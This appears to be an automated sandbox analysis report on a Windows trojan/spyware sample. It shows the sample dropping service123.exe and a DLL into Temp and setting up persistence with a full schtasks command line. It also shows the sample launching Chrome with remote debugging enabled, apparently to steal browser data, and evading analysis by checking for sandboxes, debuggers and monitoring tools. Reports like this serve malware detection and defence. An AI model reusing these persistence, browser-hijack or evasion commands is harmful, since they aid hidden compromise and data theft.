Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D000FC0	9_2_6D000FC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D0B4E80	9_2_6D0B4E80
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D040870	9_2_6D040870
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D032A7E	9_2_6D032A7E
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D028570	9_2_6D028570
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D030580	9_2_6D030580
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D034490	9_2_6D034490
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D0044F0	9_2_6D0044F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D022110	9_2_6D022110
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D03FE10	9_2_6D03FE10
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D031E40	9_2_6D031E40
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D03D99E	9_2_6D03D99E
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D005880	9_2_6D005880
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D04DA20	9_2_6D04DA20
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D01F510	9_2_6D01F510
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D0377D0	9_2_6D0377D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D0296A0	9_2_6D0296A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D0311BE	9_2_6D0311BE
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6CFF3000	9_2_6CFF3000
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D0070C0	9_2_6D0070C0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D03F3C0	9_2_6D03F3C0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D0412C0	9_2_6D0412C0

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6D0C5980 appears 83 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6D0C38D0 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6D0C3310 appears 42 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6D0C5A70 appears 77 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6D0C3490 appears 45 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6D0BAB60 appears 49 times

Source: C:\Users\user\Desktop\U6mwWZlkzH.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7960 -s 1752

Source: U6mwWZlkzH.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: U6mwWZlkzH.exe

Static PE information: Section: iccabzlv ZLIB complexity 0.9946167793676849

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@22/7@16/5

Source: C:\Users\user\Desktop\U6mwWZlkzH.exe

File created: C:\Users\user\AppData\Local\uSMHVoRNUg

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7960
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Mutant created: \Sessions\1\BaseNamedObjects\ZtfNfczALzfekIUCpwNB
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Mutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5064:120:WilError_03

Source: C:\Users\user\Desktop\U6mwWZlkzH.exe

File created: C:\Users\user\AppData\Local\Temp\service123.exe

Jump to behavior

Source: C:\Users\user\Desktop\U6mwWZlkzH.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: chrome.exe, 00000003.00000002.1800913918.000009C00285D000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));

Source: U6mwWZlkzH.exe

ReversingLabs: Detection: 68%

Source: unknown	Process created: C:\Users\user\Desktop\U6mwWZlkzH.exe "C:\Users\user\Desktop\U6mwWZlkzH.exe"
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2364 --field-trial-handle=2300,i,5075374179690166749,1379577814548213124,262144 /prefetch:8
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Process created: C:\Users\user\AppData\Local\Temp\service123.exe "C:\Users\user\AppData\Local\Temp\service123.exe"
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7960 -s 1752
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\service123.exe "C:\Users\user\AppData\Local\Temp\/service123.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\service123.exe "C:\Users\user\AppData\Local\Temp\/service123.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\service123.exe "C:\Users\user\AppData\Local\Temp\/service123.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\service123.exe "C:\Users\user\AppData\Local\Temp\/service123.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\service123.exe "C:\Users\user\AppData\Local\Temp\/service123.exe"
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2364 --field-trial-handle=2300,i,5075374179690166749,1379577814548213124,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: dlemjynroeqkpohzkkor.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: dlemjynroeqkpohzkkor.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: dlemjynroeqkpohzkkor.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: dlemjynroeqkpohzkkor.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: dlemjynroeqkpohzkkor.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: dlemjynroeqkpohzkkor.dll	Jump to behavior

Source: U6mwWZlkzH.exe

Static file information: File size 4441088 > 1048576

Source: U6mwWZlkzH.exe	Static PE information: Raw size of is bigger than: 0x100000 < 0x282a00
Source: U6mwWZlkzH.exe	Static PE information: Raw size of iccabzlv is bigger than: 0x100000 < 0x1b5e00

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Code function: 9_2_00528230 LoadLibraryA,GetProcAddress,FreeLibrary,GetLastError,

9_2_00528230

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: U6mwWZlkzH.exe

Static PE information: real checksum: 0x4466f9 should be: 0x43d57e

Source: U6mwWZlkzH.exe	Static PE information: section name:
Source: U6mwWZlkzH.exe	Static PE information: section name: .idata
Source: U6mwWZlkzH.exe	Static PE information: section name:
Source: U6mwWZlkzH.exe	Static PE information: section name: iccabzlv
Source: U6mwWZlkzH.exe	Static PE information: section name: nsguypzr
Source: U6mwWZlkzH.exe	Static PE information: section name: .taggant
Source: service123.exe.0.dr	Static PE information: section name: .eh_fram
Source: dlEmjynrOeqkpoHZKKOr.dll.0.dr	Static PE information: section name: .eh_fram

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_0052A499 push es; iretd	9_2_0052A694
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D064DB0 push eax; mov dword ptr [esp], ebx	9_2_6D065018
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D044DC1 push eax; mov dword ptr [esp], ebx	9_2_6D044DD5
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D038C2A push edx; mov dword ptr [esp], ebx	9_2_6D038C3E
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D044FA1 push eax; mov dword ptr [esp], ebx	9_2_6D044FB5
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D036E03 push edx; mov dword ptr [esp], ebx	9_2_6D036E17
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D0729A0 push eax; mov dword ptr [esp], ebx	9_2_6D072CD4
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D0729A0 push edx; mov dword ptr [esp], ebx	9_2_6D072CF3
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D0A09E0 push eax; mov dword ptr [esp], edi	9_2_6D0A0B5A
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D058850 push eax; mov dword ptr [esp], ebx	9_2_6D058E4F
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D040852 push eax; mov dword ptr [esp], ebx	9_2_6D040866
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D04285C push edx; mov dword ptr [esp], ebx	9_2_6D042870
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D06E860 push eax; mov dword ptr [esp], ebx	9_2_6D06E98B
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D044BE1 push eax; mov dword ptr [esp], ebx	9_2_6D044BF5
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D06EAC0 push eax; mov dword ptr [esp], ebx	9_2_6D06EBE3
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D03A527 push eax; mov dword ptr [esp], ebx	9_2_6D03A53B
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D011AAA push eax; mov dword ptr [esp], ebx	9_2_6D0C6622
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D011AAA push eax; mov dword ptr [esp], ebx	9_2_6D0C6622
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D030452 push eax; mov dword ptr [esp], ebx	9_2_6D03048A
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D048451 push 890005EAh; ret	9_2_6D048459
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D080460 push eax; mov dword ptr [esp], ebx	9_2_6D0807FF
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D0364A3 push edx; mov dword ptr [esp], ebx	9_2_6D0364B7
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D0304AD push eax; mov dword ptr [esp], ebx	9_2_6D03048A
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D0304BE push eax; mov dword ptr [esp], ebx	9_2_6D03048A
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D03A6F7 push eax; mov dword ptr [esp], ebx	9_2_6D03A70B
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D0381E5 push edx; mov dword ptr [esp], ebx	9_2_6D0381F9
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D016003 push eax; mov dword ptr [esp], ebx	9_2_6D0C6AF6
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D016003 push edx; mov dword ptr [esp], edi	9_2_6D0C6B36
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D016098 push eax; mov dword ptr [esp], ebx	9_2_6D0C6622
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D0440D5 push ecx; mov dword ptr [esp], ebx	9_2_6D0440E9
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6D03A357 push eax; mov dword ptr [esp], ebx	9_2_6D03A36B

Source: U6mwWZlkzH.exe

Static PE information: section name: iccabzlv entropy: 7.956536424832416

Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	File created: C:\Users\user\AppData\Local\Temp\service123.exe			Jump to dropped file
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	File created: C:\Users\user\AppData\Local\Temp\dlEmjynrOeqkpoHZKKOr.dll			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Window searched: window name: Regmonclass	Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\U6mwWZlkzH.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f

Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

graph_9-161389

Found stalling execution ending in API Sleep call

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Stalling execution: Execution stalls by calling Sleep

graph_9-161390

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: U6mwWZlkzH.exe, 00000000.00000003.1386083154.0000000007B65000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXE
Source: U6mwWZlkzH.exe, 00000000.00000003.1386083154.0000000007B65000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: X64DBG.EXE
